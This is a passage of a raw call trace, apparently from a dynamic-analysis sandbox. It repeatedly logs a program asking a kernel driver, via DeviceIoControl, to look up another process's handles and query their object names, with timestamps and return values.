KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.705] PsReleaseProcessExitSynchronization () returned 0x2 [0113.705] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.705] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800201d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa800201d044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.705] ObfDereferenceObject (Object=0xfffffa800328c550) returned 0x1 [0113.705] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.705] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.705] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.705] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.705] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.705] PsAcquireProcessExitSynchronization () returned 0x0 [0113.705] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.705] ObReferenceObjectByHandle (in: Handle=0x5c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800328d070, HandleInformation=0x0) returned 0x0 [0113.705] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.705] PsReleaseProcessExitSynchronization () returned 0x2 [0113.705] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.705] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020db044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020db044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.705] ObfDereferenceObject (Object=0xfffffa800328d070) returned 0x1 [0113.705] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.705] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.705] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.705] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.705] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.705] PsAcquireProcessExitSynchronization () returned 0x0 [0113.705] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.705] ObReferenceObjectByHandle (in: Handle=0xe8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003294510, HandleInformation=0x0) returned 0x0 [0113.705] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.705] PsReleaseProcessExitSynchronization () returned 0x2 [0113.705] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.705] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa80020cd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020cd044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.705] ObfDereferenceObject (Object=0xfffffa8003294510) returned 0x1 [0113.706] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.706] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.706] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.706] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.706] PsAcquireProcessExitSynchronization () returned 0x0 [0113.706] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.706] ObReferenceObjectByHandle (in: Handle=0xec, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032943c0, HandleInformation=0x0) returned 0x0 [0113.706] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.706] PsReleaseProcessExitSynchronization () returned 0x2 [0113.706] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.706] ObQueryNameString (in: Object=0xfffffa80027af390, ObjectNameInfo=0xfffffa8001fdd044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fdd044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.706] ObfDereferenceObject (Object=0xfffffa80032943c0) returned 0x1 [0113.706] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.706] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.706] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2a, lpOverlapped=0x0) returned 1 [0113.706] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.706] PsAcquireProcessExitSynchronization () returned 0x0 [0113.706] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.706] ObReferenceObjectByHandle (in: Handle=0xf0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003295070, HandleInformation=0x0) returned 0x0 [0113.706] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.706] PsReleaseProcessExitSynchronization () returned 0x2 [0113.706] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.706] ObQueryNameString (in: Object=0xfffffa80027ac060, ObjectNameInfo=0xfffffa80020e0044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020e0044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.706] ObfDereferenceObject (Object=0xfffffa8003295070) returned 0x1 [0113.706] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.706] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.706] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.706] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x2c, lpOverlapped=0x0) returned 1 [0113.706] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.706] PsAcquireProcessExitSynchronization () returned 0x0 [0113.706] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.706] ObReferenceObjectByHandle (in: Handle=0xf4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003295f20, HandleInformation=0x0) returned 0x0 [0113.706] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.707] PsReleaseProcessExitSynchronization () returned 0x2 [0113.707] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.707] ObQueryNameString (in: Object=0xfffffa80027b0c20, ObjectNameInfo=0xfffffa8001f9d044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001f9d044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.707] ObfDereferenceObject (Object=0xfffffa8003295f20) returned 0x1 [0113.707] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.707] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.707] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.707] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.707] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.707] PsAcquireProcessExitSynchronization () returned 0x0 [0113.707] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.707] ObReferenceObjectByHandle (in: Handle=0xf8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003295dd0, HandleInformation=0x0) returned 0x0 [0113.707] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.707] PsReleaseProcessExitSynchronization () returned 0x2 [0113.707] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.707] ObQueryNameString (in: Object=0xfffffa80027b0e40, ObjectNameInfo=0xfffffa8001fbf044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa8001fbf044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.707] ObfDereferenceObject (Object=0xfffffa8003295dd0) returned 0x1 [0113.707] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.707] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.707] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.707] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.707] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.707] PsAcquireProcessExitSynchronization () returned 0x0 [0113.707] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.707] ObReferenceObjectByHandle (in: Handle=0x140, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800329cab0, HandleInformation=0x0) returned 0x0 [0113.707] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.707] PsReleaseProcessExitSynchronization () returned 0x2 [0113.707] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.707] ObQueryNameString (in: Object=0xfffffa800329cab0, ObjectNameInfo=0xfffffa8001fe0044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fe0044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.707] ObfDereferenceObject (Object=0xfffffa800329cab0) returned 0x1 [0113.707] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.707] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.707] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.707] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x8e, lpOverlapped=0x0) returned 1 [0113.707] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.708] PsAcquireProcessExitSynchronization () returned 0x0 [0113.708] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.708] ObReferenceObjectByHandle (in: Handle=0x1c8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80032c3070, HandleInformation=0x0) returned 0x0 [0113.708] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.708] PsReleaseProcessExitSynchronization () returned 0x2 [0113.708] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.708] ObQueryNameString (in: Object=0xfffffa80032c3070, ObjectNameInfo=0xfffffa8001fed044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8001fed044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.708] ObfDereferenceObject (Object=0xfffffa80032c3070) returned 0xe [0113.708] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.708] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.708] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.708] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.708] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.708] PsAcquireProcessExitSynchronization () returned 0x0 [0113.708] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.708] ObReferenceObjectByHandle (in: Handle=0x1f0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800316ca60, HandleInformation=0x0) returned 0x0 [0113.708] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.708] PsReleaseProcessExitSynchronization () returned 0x2 [0113.708] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.708] ObQueryNameString (in: Object=0xfffffa800316ca60, ObjectNameInfo=0xfffffa800201f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800201f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.708] ObfDereferenceObject (Object=0xfffffa800316ca60) returned 0x5 [0113.708] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.708] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.708] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.708] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0113.708] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.708] PsAcquireProcessExitSynchronization () returned 0x0 [0113.708] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.708] ObReferenceObjectByHandle (in: Handle=0x260, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003302990, HandleInformation=0x0) returned 0x0 [0113.708] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.708] PsReleaseProcessExitSynchronization () returned 0x2 [0113.708] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.708] ObQueryNameString (in: Object=0xfffffa8003302990, ObjectNameInfo=0xfffffa8002058044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002058044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.708] ObfDereferenceObject (Object=0xfffffa8003302990) returned 0x1 [0113.708] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.709] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.709] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.709] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.709] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.709] PsAcquireProcessExitSynchronization () returned 0x0 [0113.709] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.709] ObReferenceObjectByHandle (in: Handle=0x2d4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.709] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.709] PsReleaseProcessExitSynchronization () returned 0x2 [0113.709] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.709] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa8002077044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002077044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.709] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.709] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.709] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.709] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.709] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x54, lpOverlapped=0x0) returned 1 [0113.709] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.709] PsAcquireProcessExitSynchronization () returned 0x0 [0113.709] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.709] ObReferenceObjectByHandle (in: Handle=0x2dc, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0089d7490, HandleInformation=0x0) returned 0x0 [0113.709] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.709] PsReleaseProcessExitSynchronization () returned 0x2 [0113.709] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.709] ObQueryNameString (in: Object=0xfffff8a0089d7490, ObjectNameInfo=0xfffffa800207f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800207f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.709] ObfDereferenceObject (Object=0xfffff8a0089d7490) returned 0x27 [0113.709] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.709] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.709] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.709] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.709] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.709] PsAcquireProcessExitSynchronization () returned 0x0 [0113.710] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.710] ObReferenceObjectByHandle (in: Handle=0x45c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0113.710] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.710] PsReleaseProcessExitSynchronization () returned 0x2 [0113.710] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.710] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa800209f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800209f044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.710] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0113.710] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.710] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.710] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x26, lpOverlapped=0x0) returned 1 [0113.710] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.710] PsAcquireProcessExitSynchronization () returned 0x0 [0113.710] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.710] ObReferenceObjectByHandle (in: Handle=0x4a8, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800352ec00, HandleInformation=0x0) returned 0x0 [0113.710] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.710] PsReleaseProcessExitSynchronization () returned 0x2 [0113.710] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.710] ObQueryNameString (in: Object=0xfffffa80026f2c50, ObjectNameInfo=0xfffffa80020ae044, Length=0x800, ReturnLength=0xfffff88005590508 | out: ObjectNameInfo=0xfffffa80020ae044, ReturnLength=0xfffff88005590508) returned 0x0 [0113.710] ObfDereferenceObject (Object=0xfffffa800352ec00) returned 0x1 [0113.710] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.710] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x2b0bf0 | out: hHeap=0x270000) returned 1 [0113.710] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x2b0bf0 [0113.710] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x2b0bf0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x2b0bf0*, lpBytesReturned=0x12d450*=0x3a, lpOverlapped=0x0) returned 1 [0113.710] PsLookupProcessByProcessId (in: ProcessId=0x4c4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0113.710] PsAcquireProcessExitSynchronization () returned 0x0 [0113.710] KeStackAttachProcess (in: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8002b78b30, ApcState=0xfffff880055905d0) [0113.710] ObReferenceObjectByHandle (in: Handle=0x4f4, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3701, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffff8a0019a8fc0, HandleInformation=0x0) returned 0x0 [0113.710] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0113.710] PsReleaseProcessExitSynchronization () returned 0x2 [0113.710] ObfDereferenceObject (Object=0xfffffa8002b78b30) returned 0xb4 [0113.710] ObQueryNameString (in: Object=0xfffff8a0019a8fc0, ObjectNameInfo=0xfffffa80020c6044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80020c6044, ReturnLength=0xfffff88005590550) returned 0x0 [0113.710] ObfDereferenceObject (Object=0xfffff8a0019a8fc0) returned 0xa [0113.710] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0113.711] HeapFree (in: hHeap=0x270000, 